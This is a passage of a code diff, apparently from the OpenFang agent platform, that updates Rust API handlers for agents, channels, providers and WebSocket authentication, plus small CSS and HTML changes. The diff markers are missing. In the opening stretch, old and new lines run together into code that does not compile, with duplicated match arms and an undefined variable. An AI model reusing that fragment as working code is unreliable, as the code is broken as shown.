|
||||
name,
|
||||
input,
|
||||
} => {
|
||||
let tool_idx = tools.len();
|
||||
tools.push(serde_json::json!({
|
||||
"name": name,
|
||||
"input": input,
|
||||
"running": false,
|
||||
"expanded": false,
|
||||
}));
|
||||
// Will be filled after this loop when we know msg_idx
|
||||
tool_use_index
|
||||
.insert(id.clone(), (usize::MAX, tool_idx));
|
||||
}
|
||||
// ToolResult blocks are handled in pass 2
|
||||
openfang_types::message::ContentBlock::ToolResult { .. } => {}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
texts.join("\n")
|
||||
}
|
||||
};
|
||||
// Skip messages that are purely tool results (User role with only ToolResult blocks)
|
||||
if content.is_empty() && tools.is_empty() {
|
||||
continue;
|
||||
}
|
||||
let msg_idx = built_messages.len();
|
||||
// Fix up the msg_idx for tool_use entries registered with sentinel
|
||||
for (_, (mi, _)) in tool_use_index.iter_mut() {
|
||||
if *mi == usize::MAX {
|
||||
*mi = msg_idx;
|
||||
}
|
||||
}
|
||||
let mut msg = serde_json::json!({
|
||||
"role": format!("{:?}", m.role),
|
||||
"content": content,
|
||||
});
|
||||
if !tools.is_empty() {
|
||||
msg["tools"] = serde_json::Value::Array(tools);
|
||||
}
|
||||
if !msg_images.is_empty() {
|
||||
msg["images"] = serde_json::Value::Array(msg_images);
|
||||
}
|
||||
built_messages.push(msg);
|
||||
}
|
||||
|
||||
// Pass 2: walk messages again and attach ToolResult to the correct tool
|
||||
for m in &session.messages {
|
||||
if let openfang_types::message::MessageContent::Blocks(blocks) = &m.content {
|
||||
for b in blocks {
|
||||
if let openfang_types::message::ContentBlock::ToolResult {
|
||||
tool_use_id,
|
||||
content: result,
|
||||
is_error,
|
||||
..
|
||||
} = b
|
||||
{
|
||||
if let Some(&(msg_idx, tool_idx)) =
|
||||
tool_use_index.get(tool_use_id)
|
||||
{
|
||||
if let Some(msg) = built_messages.get_mut(msg_idx) {
|
||||
if let Some(tools_arr) =
|
||||
msg.get_mut("tools").and_then(|v| v.as_array_mut())
|
||||
{
|
||||
if let Some(tool_obj) = tools_arr.get_mut(tool_idx) {
|
||||
let preview: String =
|
||||
result.chars().take(300).collect();
|
||||
last_tool["result"] =
|
||||
result.chars().take(2000).collect();
|
||||
tool_obj["result"] =
|
||||
serde_json::Value::String(preview);
|
||||
last_tool["is_error"] =
|
||||
tool_obj["is_error"] =
|
||||
serde_json::Value::Bool(*is_error);
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
texts.join("\n")
|
||||
}
|
||||
};
|
||||
// Skip messages that are purely tool results (User role with only ToolResult blocks)
|
||||
if content.is_empty() && tools.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let mut msg = serde_json::json!({
|
||||
"role": format!("{:?}", m.role),
|
||||
"content": content,
|
||||
});
|
||||
if !tools.is_empty() {
|
||||
msg["tools"] = serde_json::Value::Array(tools);
|
||||
}
|
||||
Some(msg)
|
||||
})
|
||||
.collect();
|
||||
}
|
||||
}
|
||||
|
||||
let messages = built_messages;
|
||||
(
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({
|
||||
@@ -537,6 +654,7 @@ pub async fn status(State(state): State<Arc<AppState>>) -> impl IntoResponse {
|
||||
|
||||
Json(serde_json::json!({
|
||||
"status": "running",
|
||||
"version": env!("CARGO_PKG_VERSION"),
|
||||
"agent_count": agent_count,
|
||||
"default_provider": state.kernel.config.default_model.provider,
|
||||
"default_model": state.kernel.config.default_model.model,
|
||||
@@ -999,6 +1117,7 @@ pub async fn get_agent(
|
||||
"skills_mode": if entry.manifest.skills.is_empty() { "all" } else { "allowlist" },
|
||||
"mcp_servers": entry.manifest.mcp_servers,
|
||||
"mcp_servers_mode": if entry.manifest.mcp_servers.is_empty() { "all" } else { "allowlist" },
|
||||
"fallback_models": entry.manifest.fallback_models,
|
||||
})),
|
||||
)
|
||||
}
|
||||
@@ -2158,8 +2277,15 @@ pub async fn remove_channel(
|
||||
}
|
||||
}
|
||||
|
||||
/// POST /api/channels/{name}/test — Basic connectivity check for a channel.
|
||||
pub async fn test_channel(Path(name): Path<String>) -> impl IntoResponse {
|
||||
/// POST /api/channels/{name}/test — Connectivity check + optional live test message.
|
||||
///
|
||||
/// Accepts an optional JSON body with `channel_id` (for Discord/Slack) or `chat_id`
|
||||
/// (for Telegram). When provided, sends a real test message to verify the bot can
|
||||
/// post to that channel.
|
||||
pub async fn test_channel(
|
||||
Path(name): Path<String>,
|
||||
raw_body: axum::body::Bytes,
|
||||
) -> impl IntoResponse {
|
||||
let meta = match find_channel_meta(&name) {
|
||||
Some(m) => m,
|
||||
None => {
|
||||
@@ -2192,15 +2318,112 @@ pub async fn test_channel(Path(name): Path<String>) -> impl IntoResponse {
|
||||
);
|
||||
}
|
||||
|
||||
// If a target channel/chat ID is provided, send a real test message
|
||||
let body: serde_json::Value = if raw_body.is_empty() {
|
||||
serde_json::Value::Null
|
||||
} else {
|
||||
serde_json::from_slice(&raw_body).unwrap_or(serde_json::Value::Null)
|
||||
};
|
||||
let target = body
|
||||
.get("channel_id")
|
||||
.or_else(|| body.get("chat_id"))
|
||||
.and_then(|v| v.as_str())
|
||||
.map(|s| s.to_string());
|
||||
|
||||
if let Some(target_id) = target {
|
||||
match send_channel_test_message(&name, &target_id).await {
|
||||
Ok(()) => {
|
||||
return (
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({
|
||||
"status": "ok",
|
||||
"message": format!("Test message sent to {} channel {}.", meta.display_name, target_id)
|
||||
})),
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
return (
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({
|
||||
"status": "error",
|
||||
"message": format!("Credentials valid but failed to send test message: {e}")
|
||||
})),
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
(
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({
|
||||
"status": "ok",
|
||||
"message": format!("All required credentials for {} are set.", meta.display_name)
|
||||
"message": format!("All required credentials for {} are set. Provide channel_id or chat_id to send a test message.", meta.display_name)
|
||||
})),
|
||||
)
|
||||
}
|
||||
|
||||
/// Send a real test message to a specific channel/chat on the given platform.
|
||||
async fn send_channel_test_message(channel_name: &str, target_id: &str) -> Result<(), String> {
|
||||
let client = reqwest::Client::new();
|
||||
let test_msg = "OpenFang test message — your channel is connected!";
|
||||
|
||||
match channel_name {
|
||||
"discord" => {
|
||||
let token = std::env::var("DISCORD_BOT_TOKEN")
|
||||
.map_err(|_| "DISCORD_BOT_TOKEN not set".to_string())?;
|
||||
let url = format!("https://discord.com/api/v10/channels/{target_id}/messages");
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.header("Authorization", format!("Bot {token}"))
|
||||
.json(&serde_json::json!({ "content": test_msg }))
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("HTTP request failed: {e}"))?;
|
||||
if !resp.status().is_success() {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
return Err(format!("Discord API error: {body}"));
|
||||
}
|
||||
}
|
||||
"telegram" => {
|
||||
let token = std::env::var("TELEGRAM_BOT_TOKEN")
|
||||
.map_err(|_| "TELEGRAM_BOT_TOKEN not set".to_string())?;
|
||||
let url = format!("https://api.telegram.org/bot{token}/sendMessage");
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.json(&serde_json::json!({ "chat_id": target_id, "text": test_msg }))
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("HTTP request failed: {e}"))?;
|
||||
if !resp.status().is_success() {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
return Err(format!("Telegram API error: {body}"));
|
||||
}
|
||||
}
|
||||
"slack" => {
|
||||
let token = std::env::var("SLACK_BOT_TOKEN")
|
||||
.map_err(|_| "SLACK_BOT_TOKEN not set".to_string())?;
|
||||
let url = "https://slack.com/api/chat.postMessage";
|
||||
let resp = client
|
||||
.post(url)
|
||||
.header("Authorization", format!("Bearer {token}"))
|
||||
.json(&serde_json::json!({ "channel": target_id, "text": test_msg }))
|
||||
.send()
|
||||
.await
|
||||
.map_err(|e| format!("HTTP request failed: {e}"))?;
|
||||
if !resp.status().is_success() {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
return Err(format!("Slack API error: {body}"));
|
||||
}
|
||||
}
|
||||
_ => {
|
||||
return Err(format!(
|
||||
"Live test messaging not supported for {channel_name}. Credentials are valid."
|
||||
));
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// POST /api/channels/reload — Manually trigger a channel hot-reload from disk config.
|
||||
pub async fn reload_channels(State(state): State<Arc<AppState>>) -> impl IntoResponse {
|
||||
match crate::channel_bridge::reload_channels_from_disk(&state).await {
|
||||
@@ -2238,7 +2461,7 @@ pub async fn whatsapp_qr_start() -> impl IntoResponse {
|
||||
return Json(serde_json::json!({
|
||||
"available": false,
|
||||
"message": "WhatsApp Web gateway not running. Start the gateway or use Business API mode.",
|
||||
"help": "Run: npx openfang-whatsapp-gateway (or set WHATSAPP_WEB_GATEWAY_URL)"
|
||||
"help": "The WhatsApp Web gateway auto-starts with the daemon when configured. Ensure Node.js >= 18 is installed and WhatsApp is configured in config.toml. Set WHATSAPP_WEB_GATEWAY_URL to use an external gateway."
|
||||
}));
|
||||
}
|
||||
|
||||
@@ -4880,6 +5103,90 @@ pub async fn update_agent(
|
||||
)
|
||||
}
|
||||
|
||||
/// PATCH /api/agents/{id} — Partial update of agent fields (name, description, model, system_prompt).
|
||||
pub async fn patch_agent(
|
||||
State(state): State<Arc<AppState>>,
|
||||
Path(id): Path<String>,
|
||||
Json(body): Json<serde_json::Value>,
|
||||
) -> impl IntoResponse {
|
||||
let agent_id: AgentId = match id.parse() {
|
||||
Ok(id) => id,
|
||||
Err(_) => {
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": "Invalid agent ID"})),
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
if state.kernel.registry.get(agent_id).is_none() {
|
||||
return (
|
||||
StatusCode::NOT_FOUND,
|
||||
Json(serde_json::json!({"error": "Agent not found"})),
|
||||
);
|
||||
}
|
||||
|
||||
// Apply partial updates using dedicated registry methods
|
||||
if let Some(name) = body.get("name").and_then(|v| v.as_str()) {
|
||||
if let Err(e) = state
|
||||
.kernel
|
||||
.registry
|
||||
.update_name(agent_id, name.to_string())
|
||||
{
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": format!("{e}")})),
|
||||
);
|
||||
}
|
||||
}
|
||||
if let Some(desc) = body.get("description").and_then(|v| v.as_str()) {
|
||||
if let Err(e) = state
|
||||
.kernel
|
||||
.registry
|
||||
.update_description(agent_id, desc.to_string())
|
||||
{
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": format!("{e}")})),
|
||||
);
|
||||
}
|
||||
}
|
||||
if let Some(model) = body.get("model").and_then(|v| v.as_str()) {
|
||||
if let Err(e) = state.kernel.set_agent_model(agent_id, model) {
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": format!("{e}")})),
|
||||
);
|
||||
}
|
||||
}
|
||||
if let Some(system_prompt) = body.get("system_prompt").and_then(|v| v.as_str()) {
|
||||
if let Err(e) = state
|
||||
.kernel
|
||||
.registry
|
||||
.update_system_prompt(agent_id, system_prompt.to_string())
|
||||
{
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": format!("{e}")})),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Persist updated entry to SQLite
|
||||
if let Some(entry) = state.kernel.registry.get(agent_id) {
|
||||
let _ = state.kernel.memory.save_agent(&entry);
|
||||
(
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({"status": "ok", "agent_id": entry.id.to_string(), "name": entry.name})),
|
||||
)
|
||||
} else {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
Json(serde_json::json!({"error": "Agent vanished during update"})),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Migration endpoint
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -5357,7 +5664,7 @@ pub async fn add_custom_model(
|
||||
if !catalog.add_custom_model(entry) {
|
||||
return (
|
||||
StatusCode::CONFLICT,
|
||||
Json(serde_json::json!({"error": format!("Model '{}' already exists", id)})),
|
||||
Json(serde_json::json!({"error": format!("Model '{}' already exists for provider '{}'", id, provider)})),
|
||||
);
|
||||
}
|
||||
|
||||
@@ -5493,7 +5800,7 @@ pub async fn a2a_send_task(
|
||||
let task = openfang_runtime::a2a::A2aTask {
|
||||
id: task_id.clone(),
|
||||
session_id: session_id.clone(),
|
||||
status: openfang_runtime::a2a::A2aTaskStatus::Working,
|
||||
status: openfang_runtime::a2a::A2aTaskStatus::Working.into(),
|
||||
messages: vec![openfang_runtime::a2a::A2aMessage {
|
||||
role: "user".to_string(),
|
||||
parts: vec![openfang_runtime::a2a::A2aPart::Text {
|
||||
@@ -5602,10 +5909,10 @@ pub async fn a2a_list_external_agents(State(state): State<Arc<AppState>>) -> imp
|
||||
.unwrap_or_else(|e| e.into_inner());
|
||||
let items: Vec<serde_json::Value> = agents
|
||||
.iter()
|
||||
.map(|(url, card)| {
|
||||
.map(|(_, card)| {
|
||||
serde_json::json!({
|
||||
"name": card.name,
|
||||
"url": url,
|
||||
"url": card.url,
|
||||
"description": card.description,
|
||||
"skills": card.skills,
|
||||
"version": card.version,
|
||||
@@ -5963,6 +6270,12 @@ pub async fn clear_agent_history(
|
||||
)
|
||||
}
|
||||
};
|
||||
if state.kernel.registry.get(agent_id).is_none() {
|
||||
return (
|
||||
StatusCode::NOT_FOUND,
|
||||
Json(serde_json::json!({"error": "Agent not found"})),
|
||||
);
|
||||
}
|
||||
match state.kernel.clear_agent_history(agent_id) {
|
||||
Ok(()) => (
|
||||
StatusCode::OK,
|
||||
@@ -6056,10 +6369,19 @@ pub async fn set_model(
|
||||
}
|
||||
};
|
||||
match state.kernel.set_agent_model(agent_id, model) {
|
||||
Ok(()) => (
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({"status": "ok", "model": model})),
|
||||
),
|
||||
Ok(()) => {
|
||||
// Return the resolved provider so frontend can update its state
|
||||
let provider = state
|
||||
.kernel
|
||||
.registry
|
||||
.get(agent_id)
|
||||
.map(|e| e.manifest.model.provider.clone())
|
||||
.unwrap_or_default();
|
||||
(
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({"status": "ok", "model": model, "provider": provider})),
|
||||
)
|
||||
}
|
||||
Err(e) => (
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
Json(serde_json::json!({"error": format!("{e}")})),
|
||||
@@ -6333,21 +6655,6 @@ pub async fn set_provider_key(
|
||||
Path(name): Path<String>,
|
||||
Json(body): Json<serde_json::Value>,
|
||||
) -> impl IntoResponse {
|
||||
// Validate provider name against known list
|
||||
{
|
||||
let catalog = state
|
||||
.kernel
|
||||
.model_catalog
|
||||
.read()
|
||||
.unwrap_or_else(|e| e.into_inner());
|
||||
if catalog.get_provider(&name).is_none() {
|
||||
return (
|
||||
StatusCode::NOT_FOUND,
|
||||
Json(serde_json::json!({"error": format!("Unknown provider '{}'", name)})),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
let key = match body["key"].as_str() {
|
||||
Some(k) if !k.trim().is_empty() => k.trim().to_string(),
|
||||
_ => {
|
||||
@@ -6358,6 +6665,7 @@ pub async fn set_provider_key(
|
||||
}
|
||||
};
|
||||
|
||||
// Look up env var from catalog; for unknown/custom providers derive one.
|
||||
let env_var = {
|
||||
let catalog = state
|
||||
.kernel
|
||||
@@ -6367,16 +6675,15 @@ pub async fn set_provider_key(
|
||||
catalog
|
||||
.get_provider(&name)
|
||||
.map(|p| p.api_key_env.clone())
|
||||
.unwrap_or_default()
|
||||
.unwrap_or_else(|| {
|
||||
// Custom provider — derive env var: MY_PROVIDER → MY_PROVIDER_API_KEY
|
||||
format!(
|
||||
"{}_API_KEY",
|
||||
name.to_uppercase().replace('-', "_")
|
||||
)
|
||||
})
|
||||
};
|
||||
|
||||
if env_var.is_empty() {
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": "Provider does not require an API key"})),
|
||||
);
|
||||
}
|
||||
|
||||
// Write to secrets.env file
|
||||
let secrets_path = state.kernel.config.home_dir.join("secrets.env");
|
||||
if let Err(e) = write_secret_env(&secrets_path, &env_var, &key) {
|
||||
@@ -6563,22 +6870,7 @@ pub async fn set_provider_url(
|
||||
Path(name): Path<String>,
|
||||
Json(body): Json<serde_json::Value>,
|
||||
) -> impl IntoResponse {
|
||||
// Validate provider exists
|
||||
let provider_exists = {
|
||||
let catalog = state
|
||||
.kernel
|
||||
.model_catalog
|
||||
.read()
|
||||
.unwrap_or_else(|e| e.into_inner());
|
||||
catalog.get_provider(&name).is_some()
|
||||
};
|
||||
if !provider_exists {
|
||||
return (
|
||||
StatusCode::NOT_FOUND,
|
||||
Json(serde_json::json!({"error": format!("Unknown provider '{}'", name)})),
|
||||
);
|
||||
}
|
||||
|
||||
// Accept any provider name — custom providers are supported via OpenAI-compatible format.
|
||||
let base_url = match body["base_url"].as_str() {
|
||||
Some(u) if !u.trim().is_empty() => u.trim().to_string(),
|
||||
_ => {
|
||||
@@ -6865,15 +7157,14 @@ fn upsert_channel_config(
|
||||
}
|
||||
}
|
||||
FieldType::List => {
|
||||
// Always store list items as strings so that numeric IDs
|
||||
// (e.g. Discord guild snowflakes, Telegram user IDs) are
|
||||
// deserialized correctly into Vec<String> config fields.
|
||||
let items: Vec<toml::Value> = v
|
||||
.split(',')
|
||||
.map(|s| s.trim())
|
||||
.filter(|s| !s.is_empty())
|
||||
.map(|s| {
|
||||
s.parse::<i64>()
|
||||
.map(toml::Value::Integer)
|
||||
.unwrap_or_else(|_| toml::Value::String(s.to_string()))
|
||||
})
|
||||
.map(|s| toml::Value::String(s.to_string()))
|
||||
.collect();
|
||||
toml::Value::Array(items)
|
||||
}
|
||||
@@ -7602,10 +7893,16 @@ pub async fn update_agent_identity(
|
||||
};
|
||||
|
||||
match state.kernel.registry.update_identity(agent_id, identity) {
|
||||
Ok(()) => (
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({"status": "ok", "agent_id": id})),
|
||||
),
|
||||
Ok(()) => {
|
||||
// Persist identity to SQLite
|
||||
if let Some(entry) = state.kernel.registry.get(agent_id) {
|
||||
let _ = state.kernel.memory.save_agent(&entry);
|
||||
}
|
||||
(
|
||||
StatusCode::OK,
|
||||
Json(serde_json::json!({"status": "ok", "agent_id": id})),
|
||||
)
|
||||
}
|
||||
Err(_) => (
|
||||
StatusCode::NOT_FOUND,
|
||||
Json(serde_json::json!({"error": "Agent not found"})),
|
||||
@@ -7633,6 +7930,7 @@ pub struct PatchAgentConfigRequest {
|
||||
pub provider: Option<String>,
|
||||
pub api_key_env: Option<String>,
|
||||
pub base_url: Option<String>,
|
||||
pub fallback_models: Option<Vec<openfang_types::agent::FallbackModel>>,
|
||||
}
|
||||
|
||||
/// PATCH /api/agents/{id}/config — Hot-update agent name, description, system prompt, and identity.
|
||||
@@ -7833,6 +8131,21 @@ pub async fn patch_agent_config(
|
||||
}
|
||||
}
|
||||
|
||||
// Update fallback model chain
|
||||
if let Some(fallbacks) = req.fallback_models {
|
||||
if state
|
||||
.kernel
|
||||
.registry
|
||||
.update_fallback_models(agent_id, fallbacks)
|
||||
.is_err()
|
||||
{
|
||||
return (
|
||||
StatusCode::NOT_FOUND,
|
||||
Json(serde_json::json!({"error": "Agent not found"})),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Persist updated manifest to database so changes survive restart
|
||||
if let Some(entry) = state.kernel.registry.get(agent_id) {
|
||||
if let Err(e) = state.kernel.memory.save_agent(&entry) {
|
||||
@@ -8668,7 +8981,8 @@ pub async fn config_schema(
|
||||
|
||||
Json(serde_json::json!({
|
||||
"sections": {
|
||||
"api": {
|
||||
"general": {
|
||||
"root_level": true,
|
||||
"fields": {
|
||||
"api_listen": "string",
|
||||
"api_key": "string",
|
||||
|
||||
@@ -126,7 +126,7 @@ pub async fn build_router(
|
||||
)
|
||||
.route(
|
||||
"/api/agents/{id}",
|
||||
axum::routing::get(routes::get_agent).delete(routes::kill_agent),
|
||||
axum::routing::get(routes::get_agent).delete(routes::kill_agent).patch(routes::patch_agent),
|
||||
)
|
||||
.route(
|
||||
"/api/agents/{id}/mode",
|
||||
|
||||
@@ -2,11 +2,16 @@
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// Request to spawn an agent from a TOML manifest string.
|
||||
/// Request to spawn an agent from a TOML manifest string or a template name.
|
||||
#[derive(Debug, Deserialize)]
|
||||
pub struct SpawnRequest {
|
||||
/// Agent manifest as TOML string.
|
||||
/// Agent manifest as TOML string (optional if `template` is provided).
|
||||
#[serde(default)]
|
||||
pub manifest_toml: String,
|
||||
/// Template name from `~/.openfang/agents/{template}/agent.toml`.
|
||||
/// When provided and `manifest_toml` is empty, the template is loaded automatically.
|
||||
#[serde(default)]
|
||||
pub template: Option<String>,
|
||||
/// Optional Ed25519 signed manifest envelope (JSON).
|
||||
/// When present, the signature is verified before spawning.
|
||||
#[serde(default)]
|
||||
|
||||
@@ -148,17 +148,26 @@ pub async fn agent_ws(
|
||||
// SECURITY: Authenticate WebSocket upgrades (bypasses middleware).
|
||||
let api_key = &state.kernel.config.api_key;
|
||||
if !api_key.is_empty() {
|
||||
// SECURITY: Use constant-time comparison to prevent timing attacks on API key
|
||||
let ct_eq = |token: &str, key: &str| -> bool {
|
||||
use subtle::ConstantTimeEq;
|
||||
if token.len() != key.len() {
|
||||
return false;
|
||||
}
|
||||
token.as_bytes().ct_eq(key.as_bytes()).into()
|
||||
};
|
||||
|
||||
let header_auth = headers
|
||||
.get("authorization")
|
||||
.and_then(|v| v.to_str().ok())
|
||||
.and_then(|v| v.strip_prefix("Bearer "))
|
||||
.map(|token| token == api_key)
|
||||
.map(|token| ct_eq(token, api_key))
|
||||
.unwrap_or(false);
|
||||
|
||||
let query_auth = uri
|
||||
.query()
|
||||
.and_then(|q| q.split('&').find_map(|pair| pair.strip_prefix("token=")))
|
||||
.map(|token| token == api_key)
|
||||
.map(|token| ct_eq(token, api_key))
|
||||
.unwrap_or(false);
|
||||
|
||||
if !header_auth && !query_auth {
|
||||
@@ -621,8 +630,12 @@ async fn handle_text_message(
|
||||
return;
|
||||
}
|
||||
|
||||
// Strip <think>...</think> blocks from model output
|
||||
// (e.g. MiniMax, DeepSeek reasoning tokens)
|
||||
let cleaned_response = strip_think_tags(&result.response);
|
||||
|
||||
// Guard: ensure we never send an empty response
|
||||
let content = if result.response.trim().is_empty() {
|
||||
let content = if cleaned_response.trim().is_empty() {
|
||||
format!(
|
||||
"[The agent completed processing but returned no text response. ({} in / {} out | {} iter)]",
|
||||
result.total_usage.input_tokens,
|
||||
@@ -630,7 +643,7 @@ async fn handle_text_message(
|
||||
result.iterations,
|
||||
)
|
||||
} else {
|
||||
result.response
|
||||
cleaned_response
|
||||
};
|
||||
|
||||
// Estimate context pressure from last call
|
||||
@@ -1156,6 +1169,27 @@ fn extract_status_code(s: &str) -> Option<u16> {
|
||||
None
|
||||
}
|
||||
|
||||
/// Strip `<think>...</think>` blocks from model output.
|
||||
///
|
||||
/// Some models (MiniMax, DeepSeek, etc.) wrap their reasoning in `<think>` tags.
|
||||
/// These are internal chain-of-thought and shouldn't be shown to the user.
|
||||
pub fn strip_think_tags(text: &str) -> String {
|
||||
let mut result = String::with_capacity(text.len());
|
||||
let mut remaining = text;
|
||||
while let Some(start) = remaining.find("<think>") {
|
||||
result.push_str(&remaining[..start]);
|
||||
if let Some(end) = remaining[start..].find("</think>") {
|
||||
remaining = &remaining[(start + end + 8)..]; // 8 = "</think>".len()
|
||||
} else {
|
||||
// Unclosed <think> tag — strip to end
|
||||
remaining = "";
|
||||
break;
|
||||
}
|
||||
}
|
||||
result.push_str(remaining);
|
||||
result
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Tests
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -1232,4 +1266,18 @@ mod tests {
|
||||
fn test_sanitize_trims_whitespace() {
|
||||
assert_eq!(sanitize_user_input(" hello "), "hello");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_strip_think_tags() {
|
||||
assert_eq!(
|
||||
strip_think_tags("<think>reasoning here</think>The answer is 42."),
|
||||
"The answer is 42."
|
||||
);
|
||||
assert_eq!(
|
||||
strip_think_tags("Hello <think>\nsome thinking\n</think> world"),
|
||||
"Hello world"
|
||||
);
|
||||
assert_eq!(strip_think_tags("No thinking here"), "No thinking here");
|
||||
assert_eq!(strip_think_tags("<think>all thinking</think>"), "");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -69,6 +69,32 @@
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
/* Card-based flex containers for agent chips and similar inline layouts */
|
||||
.card-flex {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 10px;
|
||||
}
|
||||
|
||||
/* Nested list indentation inside cards, detail panels, and modals */
|
||||
.card ul, .card ol,
|
||||
.detail-grid ul, .detail-grid ol,
|
||||
.modal ul, .modal ol,
|
||||
.info-card ul, .info-card ol {
|
||||
padding-left: 18px;
|
||||
margin: 4px 0;
|
||||
}
|
||||
.card ul ul, .card ol ol,
|
||||
.modal ul ul, .modal ol ol {
|
||||
padding-left: 16px;
|
||||
margin: 2px 0;
|
||||
}
|
||||
.card li, .modal li, .info-card li {
|
||||
margin-bottom: 2px;
|
||||
font-size: 12px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
/* Glow effect on card hover */
|
||||
.card-glow {
|
||||
overflow: hidden;
|
||||
@@ -90,13 +116,17 @@
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: 4px;
|
||||
padding: 2px 8px;
|
||||
padding: 3px 8px;
|
||||
border-radius: 20px;
|
||||
font-size: 10px;
|
||||
font-weight: 600;
|
||||
letter-spacing: 0.5px;
|
||||
text-transform: uppercase;
|
||||
white-space: nowrap;
|
||||
line-height: 1.2;
|
||||
vertical-align: middle;
|
||||
}
|
||||
.badge + .badge { margin-left: 4px; }
|
||||
|
||||
.badge-running { background: rgba(74,222,128,0.12); color: var(--success); }
|
||||
.badge-suspended { background: rgba(245,158,11,0.12); color: var(--warning); }
|
||||
@@ -110,7 +140,7 @@
|
||||
.badge-error { background: rgba(239,68,68,0.12); color: var(--error); }
|
||||
.badge-muted { background: rgba(148,163,184,0.12); color: var(--text-dim); }
|
||||
.badge-info { background: rgba(59,130,246,0.12); color: var(--info); }
|
||||
.badge-dim { background: rgba(148,163,184,0.08); color: var(--text-dim); font-size: 0.65rem; }
|
||||
.badge-dim { background: rgba(148,163,184,0.08); color: var(--text-dim); font-size: 0.65rem; padding: 2px 6px; }
|
||||
.text-danger { color: var(--error); }
|
||||
|
||||
/* Tables */
|
||||
@@ -949,6 +979,14 @@ mark.search-highlight {
|
||||
padding: 8px 12px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
.model-switcher-search select {
|
||||
max-width: 100px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.model-switcher-search select:focus {
|
||||
outline: none;
|
||||
border-color: var(--accent);
|
||||
}
|
||||
.model-switcher-search input {
|
||||
flex: 1;
|
||||
background: none;
|
||||
|
||||
@@ -55,6 +55,11 @@
|
||||
transform: scale(1.05);
|
||||
}
|
||||
|
||||
[data-theme="light"] .sidebar-logo img,
|
||||
[data-theme="light"] .message-avatar img {
|
||||
filter: invert(1);
|
||||
}
|
||||
|
||||
.sidebar-header h1 {
|
||||
font-size: 14px;
|
||||
font-weight: 700;
|
||||
|
||||
@@ -4,7 +4,8 @@
|
||||
<div x-show="$store.app.showAuthPrompt" style="position:fixed;inset:0;z-index:9999;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,0.6);backdrop-filter:blur(4px)" x-data="{ apiKeyInput: '' }">
|
||||
<div style="background:var(--bg-card,#1e1e2e);border:1px solid var(--border,#333);border-radius:12px;padding:2rem;max-width:400px;width:90%">
|
||||
<h3 style="margin:0 0 0.5rem;font-size:1.1rem">API Key Required</h3>
|
||||
<p style="color:var(--text-dim,#888);font-size:0.85rem;margin:0 0 1rem">This instance requires an API key. Enter the key from your <code>config.toml</code>.</p>
|
||||
<p style="color:var(--text-dim,#888);font-size:0.85rem;margin:0 0 0.5rem">This instance requires an API key. Enter the key from your <code>config.toml</code>.</p>
|
||||
<p style="color:var(--text-dim,#666);font-size:0.75rem;margin:0 0 1rem">Add <code style="color:var(--accent-light,#a78bfa);background:var(--bg,#111);padding:1px 4px;border-radius:2px">api_key = "your-key"</code> at the <strong>top</strong> of <code>~/.openfang/config.toml</code> (not under any [section]).</p>
|
||||
<input type="password" x-model="apiKeyInput" placeholder="Enter API key..." @keydown.enter="$store.app.submitApiKey(apiKeyInput)" style="width:100%;padding:0.6rem;border-radius:6px;border:1px solid var(--border,#333);background:var(--bg-input,#151520);color:var(--text,#e0e0e0);font-size:0.9rem;box-sizing:border-box;margin-bottom:0.75rem">
|
||||
<button @click="$store.app.submitApiKey(apiKeyInput)" style="width:100%;padding:0.6rem;border-radius:6px;border:none;background:var(--accent,#7c3aed);color:#fff;font-weight:600;cursor:pointer;font-size:0.9rem">Unlock Dashboard</button>
|
||||
</div>
|
||||
@@ -735,7 +736,7 @@
|
||||
